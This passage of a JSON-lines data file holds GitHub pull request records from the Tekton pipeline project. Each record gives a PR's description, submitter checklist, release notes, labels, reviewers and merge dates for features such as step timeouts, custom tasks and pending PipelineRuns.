\r\nparallel-pipelinerun-2wf8d-lower-8fv5x-pod-kc9pw 0/1 gke-c4-pool-2-6ce2d103-m28z\r\nparallel-pipelinerun-2wf8d-reporter-qwhc2-pod-572qc 0/1 gke-c4-pool-2-6ce2d103-nwpt\r\nparallel-pipelinerun-2wf8d-starter-456l4-pod-rb4rs 0/1 gke-c4-pool-2-6ce2d103-m28z\r\nparallel-pipelinerun-2wf8d-upper-h24gm-pod-7q67h 0/1 gke-c4-pool-2-6ce2d103-m28z\r\nparallel-pipelinerun-2wf8d-validator-8qwws-pod-nxjhz 0/2 gke-c4-pool-2-6ce2d103-m28z\r\n\r\n```\r\n\r\nFixes #2586\r\n/kind feature\r\n\r\n\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```\r\n- Add Node Affinity for TaskRuns that share PVC workspace\r\n```\r\n", "created_at": "2020-05-16T00:17:44Z", "deletions": 40, "discovered_via": "tep_file_link", "files_changed": 13, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "ok-to-test"], "linked_issues": [2586], "merged_at": "2020-06-01T20:57:51Z", "pr_number": 2630, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "imjasonh", "jlpettersson"], "title": "Add Node Affinity for TaskRuns that share PVC workspace"} +{"additions": 850, "body": "\r\n\r\n# Changes\r\n\r\nFixes https://github.com/tektoncd/pipeline/issues/2917\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [/] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [/] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [/] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nIf administrators want to enforce that the ServiceAccounts associated with any TaskRuns or PipelineRuns have `get` permissions to any ClusterTask referenced by the TaskRuns or PIpelineRuns, then can opt into the user of a validating admission webhook shipped with Tekton.\r\n\r\nAn environment variable named 'ENABLE_CLUSTER_TASK_ACCESS_VALIDATION' must be set to 'true' in the container of the webhook deployment in the tekton-pipelines namespace in order for the validating admission webhook to enforce those permissions.\r\n```\r\n", "created_at": "2020-06-09T22:17:02Z", "deletions": 6, "discovered_via": "tep_file_link", "files_changed": 17, "labels": ["kind/feature", "do-not-merge/hold", "size/XL", "do-not-merge/work-in-progress", "release-note"], "linked_issues": [], "merged_at": null, "pr_number": 2797, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["gabemontero"], "title": "WIP: add sar lib; webhook for sar on SA -> clustertask"} +{"additions": 342, "body": "\r\n\r\n# Changes\r\n\r\nThis feature allows a Task author to specify a Step timeout in the TaskSpec.\r\n\r\nAn example use case is when a Task author would like to execute a Step for setting up an execution environment. One may expect this Step to execute within a few seconds. If the execution time takes longer than expected one may rather want to fail fast than wait for the TaskRun timeout to abort the TaskRun (example by @ImJasonH).\r\n\r\nCloses #1690\r\nCorresponding [TEP](https://github.com/tektoncd/community/blob/master/teps/0014-step-timeout.md)\r\n\r\nMajor thanks to @sbwsg for his guidance.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nTask authors can now specify a timeout for a Step in the TaskSpec.\r\n```\r\n\r\n", "created_at": "2020-08-11T13:27:39Z", "deletions": 60, "discovered_via": "tep_file_link", "files_changed": 18, "labels": ["kind/feature", "approved", "lgtm", "size/L", "ok-to-test", "release-note"], "linked_issues": [1690], "merged_at": "2020-10-07T15:48:56Z", "pr_number": 3087, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["Peaorl", "bobcatfish", "imjasonh", "vdemeester"], "title": "Step timeout"} +{"additions": 675, "body": "\r\n\r\n# Changes\r\n\r\nThis PR implements Option 1 of [TEP-0011](https://github.com/tektoncd/community/blob/master/teps/0011-redirecting-step-output-streams.md).\r\n\r\nCloses #2925.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n**EXPERIMENTAL**: Users can specify the `TEKTON_STDOUT_FILE` and `TEKTON_STDERR_FILE` environment variables in steps to capture steps' stdout and stderr to local files. This feature can be used to capture stdout and stderr into task results.", "created_at": "2020-08-15T20:55:56Z", "deletions": 12, "discovered_via": "tep_file_link", "files_changed": 16, "labels": ["kind/feature", "size/XL", "ok-to-test", "do-not-merge/release-note-label-needed", "needs-rebase"], "linked_issues": [2925], "merged_at": null, "pr_number": 3103, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["chhsia0", "vdemeester"], "title": "Add `StdoutConfig` and `StderrConfig` to steps."} +{"additions": 321, "body": "First part of [TEP-0012](https://github.com/tektoncd/community/pull/172)\r\n\r\n[Rendered](https://github.com/imjasonh/pipeline/blob/api-spec/docs/api-spec.md)\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [n/a] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [only] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [yes] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [y] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n```release-note\r\nAdd initial minimal API specification document\r\n```\r\n\r\n/assign @bobcatfish \r\n/assign @vdemeester ", "created_at": "2020-08-24T20:32:30Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2020-09-29T15:20:53Z", "pr_number": 3131, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "dlorenc", "imjasonh", "vdemeester"], "title": "Add minimal initial API spec document"} +{"additions": 614, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nWhen `WhenExpressions` evaluate to False, the guarded `Task` and\r\nits branch (dependent `Tasks`) are skipped\r\n\r\nA `Task` is dependent on and in the branch of another `Task` as specified\r\nby ordering using `runAfter` or by resources using `Results`, `Workspaces`\r\n and `Resources`\r\n\r\nIn some use cases, when `WhenExpressions` evaluate to `False`,\r\nusers need to skip the guarded `Task` only and allow ordering-dependent\r\n`Tasks` to execute\r\n\r\nWhen `WhenExpressions` evaluate to `False`, it is possible to allow for\r\nexecution of ordering-dependent `Tasks` as specified by `runAfter` using\r\nthe `whenSkipped` field by setting it to `runBranch`.\r\n\r\nHowever, setting `whenSkipped` in `Tasks` without `WhenExpressions`\r\nor `Tasks` with resource dependencies is invalid, and will cause\r\n`Pipeline` validation errors. This ensures consistency in executing or\r\nskipping subsequent tasks.\r\n\r\nFurther details in [TEP](https://github.com/tektoncd/community/blob/main/teps/0007-conditions-beta.md#skipping-1)\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n```release-note\r\nWhen `WhenExpressions` evaluate to `False`, it is possible to allow\r\nexecution of ordering-dependent `Tasks` as specified by `runAfter`\r\nusing the `whenSkipped` field by setting it to `runBranch`\r\n```\r\n\r\n\r\n", "created_at": "2020-09-08T16:42:18Z", "deletions": 2, "discovered_via": "tep_file_link", "files_changed": 12, "labels": ["kind/feature", "approved", "do-not-merge/hold", "size/XL", "release-note", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 3176, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["bobcatfish", "jerop", "pritidesai"], "title": "Support skipping single task only"} +{"additions": 629, "body": "\r\n\r\n# Changes\r\n\r\nFinal tasks can be configured to consume `results` of `PipelineTasks` from `tasks` section.\r\n\r\nBased on the TEP, a final task failing to resolve task results is added to the list of `skippedTasks` and warning is recorded in controller logs.\r\n\r\n```\r\nunable to find result referenced by param \"param1\" in \"final-task\" ...\r\n```\r\n\r\nImplements TEP [#0004](https://github.com/tektoncd/community/blob/master/teps/0004-task-results-in-final-tasks.md)\r\nCloses #2557 \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nFinal tasks can be configured to consume `results` of `PipelineTasks` from `tasks` section. \r\n```", "created_at": "2020-09-16T00:51:25Z", "deletions": 85, "discovered_via": "tep_file_link", "files_changed": 13, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [2557], "merged_at": "2021-01-22T09:21:41Z", "pr_number": 3242, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "jerop", "popcor255", "pritidesai", "vdemeester"], "title": "consuming task results in finally"} +{"additions": 629, "body": "\r\n\r\n# Changes\r\n\r\nIntroducing a variable which can be used to access the execution status of any `pipelineTask` in a `pipeline`. This can be used in any `finally` task (and limited to `finally` tasks for the first iteration).\r\n\r\nUse `$(tasks..status)` as param value which resolves to the status, one of, `Succeeded`, `Failed`, and `None`.\r\n\r\nE.g.:\r\n\r\n```yaml\r\n finally:\r\n - name: finaltask\r\n params:\r\n - name: task1Status\r\n value: \"$(tasks.task1.status)\"\r\n taskSpec:\r\n params:\r\n - name: task1Status\r\n steps:\r\n - image: ubuntu\r\n name: print-task-status\r\n script: |\r\n if [ $(params.task1Status) == \"Failed\" ]\r\n then\r\n echo \"Task1 has failed, now process this failure\"\r\n fi\r\n```\r\n\r\n\r\nPartially Closes #1020 \r\nImplements TEP [#0028](https://github.com/tektoncd/community/blob/master/teps/0028-task-execution-status-at-runtime.md)\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nIntroducing a variable $(tasks..status) to access execution status of any non finally pipelineTask in finally.\r\n```\r\n\r\n/kind feature", "created_at": "2020-10-15T07:32:46Z", "deletions": 6, "discovered_via": "tep_file_link", "files_changed": 15, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [1020], "merged_at": "2021-01-12T20:35:15Z", "pr_number": 3390, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["GregDritschler", "afrittoli", "imjasonh", "pritidesai"], "title": "access execution status of any task in finally"} +{"additions": 113, "body": "\r\n\r\n# Changes\r\n\r\nInitialize the conformance test\r\n\r\nThis conformance test checks the required fields of a succeeded TaskRun created by Tekton Pipelines API.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nInitialize the conformance test\r\n```", "created_at": "2020-10-16T11:33:42Z", "deletions": 1, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2020-10-21T13:37:27Z", "pr_number": 3400, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["imjasonh", "vdemeester"], "title": "Init conformance test"} +{"additions": 2261, "body": "\r\n\r\n# Changes\r\n\r\nA Pipeline Task now can reference a custom task. This causes the PipelineRun reconciler to create a Run instead of a TaskRun.\r\nPipeline parameters can be passed to the custom task. The custom task's results can be used by other Pipeline tasks and by the Pipeline results.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nIn package pkg/apis/pipeline/v1alpha1, the type of field RunStatusFields.Results has changed from\r\nv1beta1.TaskRunResult to v1alpha1.RunResult.\r\n```", "created_at": "2020-10-27T14:02:21Z", "deletions": 442, "discovered_via": "tep_file_link", "files_changed": 38, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [], "merged_at": "2020-12-04T14:26:34Z", "pr_number": 3463, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["GregDritschler", "afrittoli", "chmouel", "imjasonh", "pritidesai", "vdemeester"], "title": "Integrate custom tasks into Pipelines"} +{"additions": 238, "body": "\r\n\r\n# Changes\r\n\r\nImplements the Pending PipelineRun status as described in [TEP-0015](https://github.com/tektoncd/community/blob/master/teps/0015-pending-pipeline.md). (based on https://github.com/tektoncd/pipeline/pull/3223)\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdded PipelineRunPending setting to PipelineRun Spec Status to allow creating PipelineRuns in a Pending state.\r\n```", "created_at": "2020-11-13T21:26:09Z", "deletions": 5, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["kind/feature", "approved", "lgtm", "size/L", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2021-01-27T15:00:42Z", "pr_number": 3522, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["bobcatfish", "imjasonh", "jbarrick-mesosphere"], "title": "Implement Pending PipelineRun status (TEP-0015)"} +{"additions": 360, "body": "This will help to specificy env default, env at pipelinerun\r\nand taskrun level. Env in pod template at taskrun and pipelinerun\r\nlevel will take precedence over one defined in step and stepTemplate\r\n\r\nEnv at pipelinerun and taskrun level will override the\r\ndefault podtemplate\r\n\r\nFix #1606\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdd support for env in default podTemplate, pipelinerun podTemplate and taskrun podTemplate\r\n```", "created_at": "2020-11-30T03:21:08Z", "deletions": 3, "discovered_via": "tep_file_link", "files_changed": 8, "labels": ["kind/feature", "approved", "do-not-merge/hold", "size/L", "release-note", "lifecycle/rotten", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 3566, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["bobcatfish", "jerop", "vdemeester"], "title": "Add support for env in podtemplate"} +{"additions": 21, "body": "# Changes\r\n\r\nFixes #3592\r\n\r\nDuring discussion of #3463 it was agreed to not support Conditions with custom tasks since they are deprecated. This adds code to enforce that decision.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nDisallow use of Conditions in pipeline tasks that reference custom tasks\r\n```\r\n", "created_at": 